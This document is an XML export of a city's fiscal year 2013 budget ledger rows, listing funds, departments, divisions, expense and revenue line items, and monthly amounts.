<row _id="1362"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5688.0</july><august>0</august><september>0.0</september><october>72.0</october><november>-72</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5688.0</total></row>
<row _id="1363"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>12132.0</july><august>0</august><september>0.0</september><october>115.0</october><november>-115</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12132.0</total></row>
<row _id="1364"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>731.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>731.0</total></row>
<row _id="1365"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>805.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>805.0</total></row>
<row _id="1366"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>7484.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>75</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7559.0</total></row>
<row _id="1367"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2279.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2279.0</total></row>
<row _id="1368"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1091.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1091.0</total></row>
<row _id="1369"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>405080.0</object><object_description>SALE OF MUNICIPAL CODES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-100.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-100.0</total></row>
<row _id="1370"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>404680.0</object><object_description>HMRRP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-104040.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-104040.0</total></row>
<row _id="1371"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2022.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2022.0</total></row>
<row _id="1372"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5657.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5657.0</total></row>
<row _id="1373"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>510.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>510.0</total></row>
<row _id="1374"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511250.0</object><object_description>STANDBY PAY</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>30676.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>307</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>30983.0</total></row>
<row _id="1375"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
<row _id="1376"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>588040.0</object><object_description>COMMUNICATIONS SYSTEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>10000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="1377"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>577090.0</object><object_description>REIMBURSE WATER FUND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>315210.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>315210.0</total></row>
<row _id="1378"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>68658.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>68658.0</total></row>
<row _id="1379"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>21800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>21800.0</total></row>
<row _id="1380"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>402730.0</object><object_description>SMURRF-CITY OF LA-O &amp; M</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-153000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-153000.0</total></row>
<row _id="1381"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400191.0</object><object_description>STREET PERFORMERS PERMIT</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-47000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-47000.0</total></row>
<row _id="1382"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>302</division_id><division_name>ANIMAL CONTROL UNIT</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>11451.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11451.0</total></row>
<row _id="1383"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533640.0</object><object_description>CONF / MTGS / TRAVEL-TW</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6966.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6966.0</total></row>
<row _id="1384"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533650.0</object><object_description>CONF / MTGS / TRAVEL-TV</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6966.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6966.0</total></row>
<row _id="1385"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>579960.0</object><object_description>BIG BLUE BUS/GEN FUND REIMBURS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>79555.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>79555.0</total></row>
<row _id="1386"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2040.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2040.0</total></row>
<row _id="1387"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>7500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>7500.0</total></row>
<row _id="1388"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>400770.0</object><object_description>LEASE RENTAL REVENUE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2013</fiscal_year><july>-3806434.0</july><august>-98280</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-3904714.0</total></row>
<row _id="1389"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>404360.0</object><object_description>CIRQUE DU SOLEIL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1000000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1000000.0</total></row>
<row _id="1390"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577880.0</object><object_description>SMURRF O&amp;M COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>-433500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-433500.0</total></row>
<row _id="1391"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>811313.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>811313.0</total></row>
<row _id="1392"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>103866.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>103866.0</total></row>
<row _id="1393"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>442.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>4</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>446.0</total></row>
<row _id="1394"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1418.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>14</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1432.0</total></row>
<row _id="1395"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1468.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>15</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1483.0</total></row>
<row _id="1396"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1428.0</july><august>0</august><september>0.0</september><october>-12.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>-17</april><may>0</may><june>0.0</june><total>1399.0</total></row>
<row _id="1397"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>401</division_id><division_name>ADMINISTRATIVE SERVICES (PW)</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>360.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>360.0</total></row>
<row _id="1398"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3662.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>37</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3699.0</total></row>
<row _id="1399"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3033.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3033.0</total></row>
<row _id="1400"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>432.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>432.0</total></row>
<row _id="1401"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5727.0</july><august>0</august><september>0.0</september><october>-320.0</october><november>0</november><december>0</december><january>0.0</january><february>54</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5461.0</total></row>
<row _id="1402"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1608.0</july><august>0</august><september>0.0</september><october>-60.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1548.0</total></row>
<row _id="1403"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4461.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>45</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4506.0</total></row>
<row _id="1404"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1146.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1146.0</total></row>
<row _id="1405"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>522.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>522.0</total></row>
<row _id="1406"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2188.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2188.0</total></row>
<row _id="1407"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>266</division_id><division_name>CITY PLANNING/DEVELOPMENT REV.</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="1408"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2496.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2496.0</total></row>
